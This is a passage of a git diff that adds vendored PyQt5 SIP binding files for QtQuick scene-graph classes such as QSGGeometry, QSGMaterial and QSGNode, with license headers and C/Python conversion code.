b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgflatcolormaterial.sip new file mode 100644 index 00000000..9efcd272 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgflatcolormaterial.sip @@ -0,0 +1,36 @@ +// qsgflatcolormaterial.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSGFlatColorMaterial : QSGMaterial +{ +%TypeHeaderCode +#include +%End + +public: + QSGFlatColorMaterial(); + virtual QSGMaterialType *type() const; + virtual QSGMaterialShader *createShader() const /Factory/; + void setColor(const QColor &color); + const QColor &color() const; + virtual int compare(const QSGMaterial *other) const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsggeometry.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsggeometry.sip new file mode 100644 index 00000000..e7532359 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsggeometry.sip @@ -0,0 +1,407 @@ +// qsggeometry.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSGGeometry /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: +// Convenient primitives and drawing modes. +enum /NoScope/ +{ + GL_BYTE, +%If (PyQt_Desktop_OpenGL) + GL_DOUBLE, +%End + GL_FLOAT, + GL_INT +}; + +enum /NoScope/ +{ + GL_POINTS, + GL_LINES, + GL_LINE_LOOP, + GL_LINE_STRIP, + GL_TRIANGLES, + GL_TRIANGLE_STRIP, + GL_TRIANGLE_FAN +}; + + struct Attribute + { +%TypeHeaderCode +#include +%End + + int position; + int tupleSize; + int type; + uint isVertexCoordinate; +%If (Qt_5_8_0 -) + QSGGeometry::AttributeType attributeType; +%End + static QSGGeometry::Attribute create(int pos, int tupleSize, int primitiveType, bool isPosition = false) /Factory/; +%If (Qt_5_8_0 -) + static QSGGeometry::Attribute createWithAttributeType(int pos, int tupleSize, int primitiveType, QSGGeometry::AttributeType attributeType) /Factory/; +%End + }; + + struct AttributeSet /NoDefaultCtors/ + { +%TypeHeaderCode +#include +#include +%End + + AttributeSet(SIP_PYOBJECT attributes /TypeHint="Iterable[QSGGeometry.Attribute]"/, int stride = 0); +%MethodCode + PyObject *iter = PyObject_GetIter(a0); + + if (!iter + #if PY_MAJOR_VERSION < 3 + || PyString_Check(a0) + #endif + || PyUnicode_Check(a0)) + { + Py_XDECREF(iter); + PyErr_SetString(PyExc_TypeError, "iterable object expected"); + sipError = sipErrorContinue; + } + else + { + QVector attrs; + int stride = 0; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + sipError = sipErrorFail; + + break; + } + + int state, is_err = 0; + QSGGeometry::Attribute *attr; + + attr = reinterpret_cast( + sipForceConvertToType(itm, sipType_QSGGeometry_Attribute, 0, + SIP_NOT_NONE, &state, &is_err)); + + if (is_err) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'QSGGeometry.Attribute' is expected", + i, sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + sipError = sipErrorFail; + + break; + } + + // Calculate the stride if there no explicit one. + if (a1 <= 0) + { + int size; + + switch (attr->type) + { + case GL_BYTE: + size = sizeof (qint8); + break; + + #if defined(SIPFeature_PyQt_Desktop_OpenGL) + #if GL_DOUBLE != GL_FLOAT + case GL_DOUBLE: + size = sizeof (double); + break; + #endif + #endif + + case GL_FLOAT: + size = sizeof (float); + break; + + case GL_INT: + size = sizeof (qint32); + break; + + default: + size = 0; + } + + if (!size) + { + PyErr_Format(PyExc_TypeError, + "index %zd has an unsupported primitive type", + i); + + sipReleaseType(attr, sipType_QSGGeometry_Attribute, state); + Py_DECREF(itm); + sipError = sipErrorFail; + + break; + } + + stride += attr->tupleSize * size; + } + + attrs.append(*attr); + + sipReleaseType(attr, sipType_QSGGeometry_Attribute, state); + Py_DECREF(itm); + } + + Py_DECREF(iter); + + if (sipError == sipErrorNone) + { + if (attrs.isEmpty()) + { + PyErr_SetString(PyExc_TypeError, "no attributes defined"); + sipError = sipErrorFail; + } + else + { + PyObject *bytes = SIPBytes_FromStringAndSize( + reinterpret_cast(attrs.data()), + sizeof (QSGGeometry::Attribute) * attrs.size()); + + if (!bytes) + { + sipError = sipErrorFail; + } + else + { + sipCpp = new QSGGeometry::AttributeSet; + + sipCpp->count = attrs.size(); + sipCpp->stride = (a1 > 0 ? a1 : stride); + sipCpp->attributes = reinterpret_cast( + SIPBytes_AsString(bytes)); + + sipSetUserObject(sipSelf, bytes); + } + } + } + } +%End + + int count; + int stride; + const QSGGeometry::Attribute *attributes /TypeHint="PyQt5.sip.array[QSGGeometry.Attribute]"/ { +%GetCode + sipPy = sipConvertToTypedArray((void *)sipCpp->attributes, + sipType_QSGGeometry_Attribute, "iiiI", sizeof (QSGGeometry::Attribute), + sipCpp->count, SIP_READ_ONLY); +%End + +%SetCode + sipErr = 1; + PyErr_SetString(PyExc_ValueError, "array is read-only"); +%End + + }; + }; + + struct Point2D + { +%TypeHeaderCode +#include +%End + + float x; + float y; + void set(float nx, float ny); + }; + + struct TexturedPoint2D + { +%TypeHeaderCode +#include +%End + + float x; + float y; + float tx; + float ty; + void set(float nx, float ny, float ntx, float nty); + }; + + struct ColoredPoint2D + { +%TypeHeaderCode +#include +%End + + float x; + float y; + unsigned char r /PyInt/; + unsigned char g /PyInt/; + unsigned char b /PyInt/; + unsigned char a /PyInt/; + void set(float nx, float ny, uchar nr /PyInt/, uchar ng /PyInt/, uchar nb /PyInt/, uchar na /PyInt/); + }; + + static const QSGGeometry::AttributeSet &defaultAttributes_Point2D() /NoCopy/; + static const QSGGeometry::AttributeSet &defaultAttributes_TexturedPoint2D() /NoCopy/; + static const QSGGeometry::AttributeSet &defaultAttributes_ColoredPoint2D() /NoCopy/; + + enum DataPattern + { + AlwaysUploadPattern, + StreamPattern, + DynamicPattern, + StaticPattern, + }; + + QSGGeometry(const QSGGeometry::AttributeSet &attribs /KeepReference/, int vertexCount, int indexCount = 0, int indexType = GL_UNSIGNED_SHORT); + virtual ~QSGGeometry(); + void setDrawingMode(unsigned int mode); + unsigned int drawingMode() const; + void allocate(int vertexCount, int indexCount = 0); + int vertexCount() const; + void *vertexData(); + int indexType() const; + int indexCount() const; + void *indexData(); + int attributeCount() const; + SIP_PYOBJECT attributes() const /TypeHint="PyQt5.sip.array[QSGGeometry.Attribute]"/; +%MethodCode + sipRes = sipConvertToTypedArray((void *)sipCpp->attributes(), + sipType_QSGGeometry_Attribute, "iiiI", sizeof (QSGGeometry::Attribute), + sipCpp->attributeCount(), SIP_READ_ONLY); +%End + + int sizeOfVertex() const; + static void updateRectGeometry(QSGGeometry *g, const QRectF &rect); + static void updateTexturedRectGeometry(QSGGeometry *g, const QRectF &rect, const QRectF &sourceRect); + void setIndexDataPattern(QSGGeometry::DataPattern p); + QSGGeometry::DataPattern indexDataPattern() const; + void setVertexDataPattern(QSGGeometry::DataPattern p); + QSGGeometry::DataPattern vertexDataPattern() const; + void markIndexDataDirty(); + void markVertexDataDirty(); + float lineWidth() const; + void setLineWidth(float w); + SIP_PYOBJECT indexDataAsUInt() /TypeHint="PyQt5.sip.array[int]"/; +%MethodCode + sipRes = sipConvertToArray(sipCpp->indexDataAsUInt(), "I", + sipCpp->indexCount(), 0); +%End + + SIP_PYOBJECT indexDataAsUShort() /TypeHint="PyQt5.sip.array[int]"/; +%MethodCode + sipRes = sipConvertToArray(sipCpp->indexDataAsUShort(), "H", + sipCpp->indexCount(), 0); +%End + + SIP_PYOBJECT vertexDataAsPoint2D() /TypeHint="PyQt5.sip.array[QSGGeometry.Point2D]"/; +%MethodCode + sipRes = sipConvertToTypedArray(sipCpp->vertexDataAsPoint2D(), + sipType_QSGGeometry_Point2D, "ff", sizeof (QSGGeometry::Point2D), + sipCpp->vertexCount(), 0); +%End + + SIP_PYOBJECT vertexDataAsTexturedPoint2D() /TypeHint="PyQt5.sip.array[QSGGeometry.TexturedPoint2D]"/; +%MethodCode + sipRes = sipConvertToTypedArray(sipCpp->vertexDataAsTexturedPoint2D(), + sipType_QSGGeometry_TexturedPoint2D, "ffff", + sizeof (QSGGeometry::TexturedPoint2D), sipCpp->vertexCount(), 0); +%End + + SIP_PYOBJECT vertexDataAsColoredPoint2D() /TypeHint="PyQt5.sip.array[QSGGeometry.ColoredPoint2D]"/; +%MethodCode + sipRes = sipConvertToTypedArray(sipCpp->vertexDataAsColoredPoint2D(), + sipType_QSGGeometry_ColoredPoint2D, "ffbbbb", + sizeof (QSGGeometry::ColoredPoint2D), sipCpp->vertexCount(), 0); +%End + + int sizeOfIndex() const; +%If (Qt_5_8_0 -) + + enum AttributeType + { + UnknownAttribute, + PositionAttribute, + ColorAttribute, + TexCoordAttribute, + TexCoord1Attribute, + TexCoord2Attribute, + }; + +%End +%If (Qt_5_8_0 -) + + enum DrawingMode + { + DrawPoints, + DrawLines, + DrawLineLoop, + DrawLineStrip, + DrawTriangles, + DrawTriangleStrip, + DrawTriangleFan, + }; + +%End +%If (Qt_5_8_0 -) + + enum Type + { + ByteType, + UnsignedByteType, + ShortType, + UnsignedShortType, + IntType, + UnsignedIntType, + FloatType, +%If (Qt_5_14_0 -) + Bytes2Type, +%End +%If (Qt_5_14_0 -) + Bytes3Type, +%End +%If (Qt_5_14_0 -) + Bytes4Type, +%End +%If (Qt_5_14_0 -) + DoubleType, +%End + }; + +%End +%If (Qt_5_8_0 -) + static void updateColoredRectGeometry(QSGGeometry *g, const QRectF &rect); +%End + +private: + QSGGeometry(const QSGGeometry &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgimagenode.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgimagenode.sip new file mode 100644 index 00000000..dbff08d6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgimagenode.sip @@ -0,0 +1,71 @@ +// qsgimagenode.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_8_0 -) + +class QSGImageNode : QSGGeometryNode /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QSGImageNode(); + virtual void setRect(const QRectF &rect) = 0; + void setRect(qreal x, qreal y, qreal w, qreal h); + virtual QRectF rect() const = 0; + virtual void setSourceRect(const QRectF &r) = 0; + void setSourceRect(qreal x, qreal y, qreal w, qreal h); + virtual QRectF sourceRect() const = 0; + virtual void setTexture(QSGTexture *texture /GetWrapper/) = 0; +%MethodCode + sipCpp->setTexture(a0); + + if (sipCpp->ownsTexture()) + sipTransferTo(a0Wrapper, sipSelf); +%End + + virtual QSGTexture *texture() const = 0; + virtual void setFiltering(QSGTexture::Filtering filtering) = 0; + virtual QSGTexture::Filtering filtering() const = 0; + virtual void setMipmapFiltering(QSGTexture::Filtering filtering) = 0; + virtual QSGTexture::Filtering mipmapFiltering() const = 0; + + enum TextureCoordinatesTransformFlag + { + NoTransform, + MirrorHorizontally, + MirrorVertically, + }; + + typedef QFlags TextureCoordinatesTransformMode; + virtual void setTextureCoordinatesTransform(QSGImageNode::TextureCoordinatesTransformMode mode) = 0; + virtual QSGImageNode::TextureCoordinatesTransformMode textureCoordinatesTransform() const = 0; + virtual void setOwnsTexture(bool owns) = 0; + virtual bool ownsTexture() const = 0; + static void rebuildGeometry(QSGGeometry *g, QSGTexture *texture, const QRectF &rect, QRectF sourceRect, QSGImageNode::TextureCoordinatesTransformMode texCoordMode); +}; + +%End +%If (Qt_5_8_0 -) +QFlags operator|(QSGImageNode::TextureCoordinatesTransformFlag f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgmaterial.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgmaterial.sip new file mode 100644 index 00000000..572ada9f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgmaterial.sip @@ -0,0 +1,301 @@ +// qsgmaterial.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSGMaterialShader /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + class RenderState + { +%TypeHeaderCode +#include +%End + + public: + enum DirtyState + { + DirtyMatrix, + DirtyOpacity, +%If (Qt_5_8_0 -) + DirtyCachedMaterialData, +%End +%If (Qt_5_8_0 -) + DirtyAll, +%End + }; + + typedef QFlags DirtyStates; + QSGMaterialShader::RenderState::DirtyStates dirtyStates() const; + bool isMatrixDirty() const; + bool isOpacityDirty() const; + float opacity() const; + QMatrix4x4 combinedMatrix() const; + QMatrix4x4 modelViewMatrix() const; + QRect viewportRect() const; + QRect deviceRect() const; + float determinant() const; +%If (PyQt_OpenGL) + QOpenGLContext *context() const; +%End +%If (Qt_5_1_0 -) + QMatrix4x4 projectionMatrix() const; +%End +%If (Qt_5_1_0 -) + float devicePixelRatio() const; +%End +%If (Qt_5_8_0 -) + bool isCachedMaterialDataDirty() const; +%End + }; + + QSGMaterialShader(); + virtual ~QSGMaterialShader(); + virtual void activate(); + virtual void deactivate(); + virtual void updateState(const QSGMaterialShader::RenderState &state, QSGMaterial *newMaterial, QSGMaterial *oldMaterial); + virtual SIP_PYOBJECT attributeNames() const = 0 /TypeHint="List[str]"/ [const char * const * ()]; +%MethodCode + const char * const *names = sipCpp->attributeNames(); + + Py_ssize_t nr_names = 0; + + if (names) + while (names[nr_names]) + ++nr_names; + + sipRes = PyList_New(nr_names); + + if (!sipRes) + sipIsErr = 1; + else + for (Py_ssize_t i = 0; i < nr_names; ++i) + { + const char *name = names[i]; + PyObject *el; + + #if PY_MAJOR_VERSION >= 3 + el = PyUnicode_DecodeASCII(name, strlen(name), 0); + #else + el = PyString_FromString(name); + #endif + + if (!el) + { + Py_DECREF(sipRes); + sipIsErr = 1; + break; + } + + PyList_SetItem(sipRes, i, el); + } +%End + +%VirtualCatcherCode + PyObject *names = sipCallMethod(&sipIsErr, sipMethod, ""); + + if (names) + { + sipRes = qtquick_anc_get_attr_names(sipPySelf, sipMethod, names); + + if (!sipRes) + sipIsErr = 1; + + Py_DECREF(names); + } +%End + +%If (PyQt_OpenGL) + QOpenGLShaderProgram *program(); +%End + +protected: +%If (PyQt_OpenGL) + virtual void compile(); +%End + virtual void initialize(); +%If (Qt_5_2_0 -) +%If (PyQt_OpenGL) + virtual const char *vertexShader() const; +%End +%End +%If (- Qt_5_2_0) +%If (PyQt_OpenGL) + virtual const char *vertexShader() const = 0; +%End +%End +%If (Qt_5_2_0 -) +%If (PyQt_OpenGL) + virtual const char *fragmentShader() const; +%End +%End +%If (- Qt_5_2_0) +%If (PyQt_OpenGL) + virtual const char *fragmentShader() const = 0; +%End +%End +%If (Qt_5_2_0 -) +%If (PyQt_OpenGL) + void setShaderSourceFile(QOpenGLShader::ShaderType type, const QString &sourceFile); +%End +%End +%If (Qt_5_2_0 -) +%If (PyQt_OpenGL) + void setShaderSourceFiles(QOpenGLShader::ShaderType type, const QStringList &sourceFiles); +%End +%End + +private: + QSGMaterialShader(const QSGMaterialShader &); +}; + +struct QSGMaterialType +{ +%TypeHeaderCode +#include +%End +}; + +class QSGMaterial /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + enum Flag + { + Blending, + RequiresDeterminant, + RequiresFullMatrixExceptTranslate, + RequiresFullMatrix, +%If (Qt_5_2_0 -) + CustomCompileStep, +%End +%If (Qt_5_14_0 -) + SupportsRhiShader, +%End +%If (Qt_5_14_0 -) + RhiShaderWanted, +%End + }; + + typedef QFlags Flags; + QSGMaterial(); + virtual ~QSGMaterial(); + virtual QSGMaterialType *type() const = 0; + virtual QSGMaterialShader *createShader() const = 0 /Factory/; + virtual int compare(const QSGMaterial *other) const; + QSGMaterial::Flags flags() const; + void setFlag(QSGMaterial::Flags flags, bool enabled = true); + +private: + QSGMaterial(const QSGMaterial &); +}; + +QFlags operator|(QSGMaterial::Flag f1, QFlags f2); +QFlags operator|(QSGMaterialShader::RenderState::DirtyState f1, QFlags f2); + +%ModuleCode +// Release any attribute names to the heap. +static void qtquick_anc_release(char **attr_names) +{ + if (attr_names) + { + for (int i = 0; attr_names[i]; ++i) + delete[] attr_names[i]; + + delete[] attr_names; + } +} + + +// The destructor for the attribute names PyCapsule. +static void qtquick_anc_destructor(PyObject *cap) +{ + qtquick_anc_release( + reinterpret_cast(PyCapsule_GetPointer(cap, NULL))); +} + + +// Get the attribute names or 0 if there was an error. +static char **qtquick_anc_get_attr_names(sipSimpleWrapper *pySelf, PyObject *method, PyObject *attr_names_obj) +{ + // Dispose of any existing names. + Py_XDECREF(sipGetUserObject(pySelf)); + sipSetUserObject(pySelf, NULL); + + // Convert the new names. + if (!PyList_Check(attr_names_obj)) + { + sipBadCatcherResult(method); + return 0; + } + + char **names = new char *[PyList_Size(attr_names_obj) + 1]; + + for (Py_ssize_t i = 0; i < PyList_Size(attr_names_obj); ++i) + { + char *name; + PyObject *el = PyList_GetItem(attr_names_obj, i); + +#if PY_MAJOR_VERSION >= 3 + PyObject *name_obj = PyUnicode_AsASCIIString(el); + + name = (name_obj ? PyBytes_AsString(name_obj) : 0); +#else + name = PyString_AsString(el); +#endif + + if (!name) + { + names[i] = 0; + qtquick_anc_release(names); + + sipBadCatcherResult(method); + return 0; + } + + char *name_copy = new char[strlen(name) + 1]; + strcpy(name_copy, name); + names[i] = name_copy; + +#if PY_MAJOR_VERSION >= 3 + Py_DECREF(name_obj); +#endif + } + + names[PyList_Size(attr_names_obj)] = 0; + + sipSetUserObject(pySelf, PyCapsule_New(names, NULL, qtquick_anc_destructor)); + + if (!sipGetUserObject(pySelf)) + { + qtquick_anc_release(names); + return 0; + } + + return names; +} +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgmaterialrhishader.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgmaterialrhishader.sip new file mode 100644 index 00000000..7330771e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgmaterialrhishader.sip @@ -0,0 +1,123 @@ +// qsgmaterialrhishader.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_14_0 -) + +class QSGMaterialRhiShader : QSGMaterialShader +{ +%TypeHeaderCode +#include +%End + +public: + class RenderState + { +%TypeHeaderCode +#include +%End + + typedef QSGMaterialShader::RenderState::DirtyStates DirtyStates; + + public: + QSGMaterialRhiShader::RenderState::DirtyStates dirtyStates() const; + bool isMatrixDirty() const; + bool isOpacityDirty() const; + float opacity() const; + QMatrix4x4 combinedMatrix() const; + QMatrix4x4 modelViewMatrix() const; + QMatrix4x4 projectionMatrix() const; + QRect viewportRect() const; + QRect deviceRect() const; + float determinant() const; + float devicePixelRatio() const; + QByteArray *uniformData(); + }; + + struct GraphicsPipelineState + { +%TypeHeaderCode +#include +%End + + enum BlendFactor + { + Zero, + One, + SrcColor, + OneMinusSrcColor, + DstColor, + OneMinusDstColor, + SrcAlpha, + OneMinusSrcAlpha, + DstAlpha, + OneMinusDstAlpha, + ConstantColor, + OneMinusConstantColor, + ConstantAlpha, + OneMinusConstantAlpha, + SrcAlphaSaturate, + Src1Color, + OneMinusSrc1Color, + Src1Alpha, + OneMinusSrc1Alpha, + }; + + enum ColorMaskComponent + { + R, + G, + B, + A, + }; + + typedef QFlags ColorMask; + + enum CullMode + { + CullNone, + CullFront, + CullBack, + }; + }; + + enum Flag + { + UpdatesGraphicsPipelineState, + }; + + typedef QFlags Flags; + QSGMaterialRhiShader(); + virtual ~QSGMaterialRhiShader(); + virtual bool updateUniformData(QSGMaterialRhiShader::RenderState &state, QSGMaterial *newMaterial, QSGMaterial *oldMaterial); + virtual void updateSampledImage(QSGMaterialRhiShader::RenderState &state, int binding, QSGTexture **texture, QSGMaterial *newMaterial, QSGMaterial *oldMaterial); + virtual bool updateGraphicsPipelineState(QSGMaterialRhiShader::RenderState &state, QSGMaterialRhiShader::GraphicsPipelineState *ps, QSGMaterial *newMaterial, QSGMaterial *oldMaterial); + QSGMaterialRhiShader::Flags flags() const; + void setFlag(QSGMaterialRhiShader::Flags flags, bool on = true); +}; + +%End +%If (Qt_5_14_0 -) +QFlags operator|(QSGMaterialRhiShader::GraphicsPipelineState::ColorMaskComponent f1, QFlags f2); +%End +%If (Qt_5_14_0 -) +QFlags operator|(QSGMaterialRhiShader::Flag f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgnode.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgnode.sip new file mode 100644 index 00000000..5c76b31f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtQuick/qsgnode.sip @@ -0,0 +1,338 @@ +// qsgnode.sip generated by MetaSIP +// +// This file is part of the QtQuick Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSGNode /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +%TypeCode +static sipErrorState qsgnode_handle_flags(QSGNode *node, PyObject *self, QSGNode::Flags old_flags) +{ + QSGNode::Flags new_flags = node->flags(); + + if (node->parent()) + { + if ((old_flags & QSGNode::OwnedByParent) != (new_flags & QSGNode::OwnedByParent)) + { + if (old_flags & QSGNode::OwnedByParent) + { + sipTransferBack(self); + } + else + { + PyObject *parent = sipConvertFromType(node->parent(), sipType_QSGNode, 0); + + if (!parent) + return sipErrorFail; + + sipTransferTo(self, parent); + Py_DECREF(parent); + } + } + } + + QSGNode::NodeType ntype = node->type(); + + if (ntype == QSGNode::BasicNodeType || ntype == QSGNode::GeometryNodeType || ntype == QSGNode::ClipNodeType) + { + QSGBasicGeometryNode *bg_node = (QSGBasicGeometryNode *)node; + + if (bg_node->geometry()) + { + if ((old_flags & QSGNode::OwnsGeometry) != (new_flags & QSGNode::OwnsGeometry)) + { + PyObject *geom = sipConvertFromType(bg_node->geometry(), sipType_QSGGeometry, 0); + + if (!geom) + return sipErrorFail; + + if (old_flags & QSGNode::OwnsGeometry) + sipTransferBack(geom); + else + sipTransferTo(geom, self); + + Py_DECREF(geom); + } + } + } + + if (ntype == QSGNode::GeometryNodeType) + { + QSGGeometryNode *g_node = (QSGGeometryNode *)node; + + if (g_node->material()) + { + if ((old_flags & QSGNode::OwnsMaterial) != (new_flags & QSGNode::OwnsMaterial)) + { + PyObject *mat = sipConvertFromType(g_node->material(), sipType_QSGMaterial, 0); + + if (!mat) + return sipErrorFail; + + if (old_flags & QSGNode::OwnsMaterial) + sipTransferBack(mat); + else + sipTransferTo(mat, self); + + Py_DECREF(mat); + } + } + + if (g_node->opaqueMaterial()) + { + if ((old_flags & QSGNode::OwnsOpaqueMaterial) != (new_flags & QSGNode::OwnsOpaqueMaterial)) + { + PyObject *omat = sipConvertFromType(g_node->opaqueMaterial(), sipType_QSGMaterial, 0); + + if (!omat) + return sipErrorFail; + + if (old_flags & QSGNode::OwnsOpaqueMaterial) + sipTransferBack(omat); + else + sipTransferTo(omat, self); + + Py_DECREF(omat); + } + } + } + + return sipErrorNone; +} +%End + +%ConvertToSubClassCode + switch (sipCpp->type()) + { + case QSGNode::BasicNodeType: + sipType = sipType_QSGBasicGeometryNode; + break; + + case QSGNode::GeometryNodeType: + sipType = sipType_QSGGeometryNode; + break; + + case QSGNode::TransformNodeType: + sipType = sipType_QSGClipNode; + break; + + case QSGNode::ClipNodeType: + sipType = sipType_QSGTransformNode; + break; + + case QSGNode::OpacityNodeType: + sipType = sipType_QSGOpacityNode; + break; + + default: + sipType = 0; + } +%End + +public: + enum NodeType + { + BasicNodeType, + GeometryNodeType, + TransformNodeType, + ClipNodeType, + OpacityNodeType, + }; + + enum Flag + { + OwnedByParent, + UsePreprocess, + OwnsGeometry, + OwnsMaterial, + OwnsOpaqueMaterial, + }; + + typedef QFlags Flags; + + enum DirtyStateBit + { + DirtyMatrix, + DirtyNodeAdded, + DirtyNodeRemoved, + DirtyGeometry, + DirtyMaterial, + DirtyOpacity, + }; + + typedef QFlags DirtyState; + QSGNode(); + virtual ~QSGNode(); + QSGNode *parent() const; + void removeChildNode(QSGNode *node); + void removeAllChildNodes(); + void prependChildNode(QSGNode *node /GetWrapper/); +%MethodCode + sipCpp->prependChildNode(a0); + + if (a0->flags() & QSGNode::OwnedByParent) + sipTransferTo(a0Wrapper, sipSelf); +%End + + void appendChildNode(QSGNode *node /GetWrapper/); +%MethodCode + sipCpp->appendChildNode(a0); + + if (a0->flags() & QSGNode::OwnedByParent) + sipTransferTo(a0Wrapper, sipSelf); +%End + + void insertChildNodeBefore(QSGNode *node /GetWrapper/, QSGNode *before); +%MethodCode + sipCpp->insertChildNodeBefore(a0, a1); + + if (a0->flags() & QSGNode::OwnedByParent) + sipTransferTo(a0Wrapper, sipSelf); +%End + + void insertChildNodeAfter(QSGNode *node /GetWrapper/, QSGNode *after); +%MethodCode + sipCpp->insertChildNodeAfter(a0, a1); + + if (a0->flags() & QSGNode::OwnedByParent) + sipTransferTo(a0Wrapper, sipSelf); +%End + + int childCount() const /__len__/; + QSGNode *childAtIndex(int i) const; + QSGNode *firstChild() const; + QSGNode *lastChild() const; + QSGNode *nextSibling() const; + QSGNode *previousSibling() const; + QSGNode::NodeType type() const; + void markDirty(QSGNode::DirtyState bits); + virtual bool isSubtreeBlocked() const; + QSGNode::Flags flags() const; + void setFlag(QSGNode::Flag, bool enabled = true); +%MethodCode + QSGNode::Flags old_flags = sipCpp->flags(); + + sipCpp->setFlag(a0, a1); + + sipError = qsgnode_handle_flags(sipCpp, sipSelf, old_flags); +%End + + void setFlags(QSGNode::Flags, bool enabled = true); + virtual void preprocess(); + +private: + QSGNode(const QSGNode &); +}; + +class QSGBasicGeometryNode : QSGNode /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QSGBasicGeometryNode(); + void setGeometry(QSGGeometry *geometry 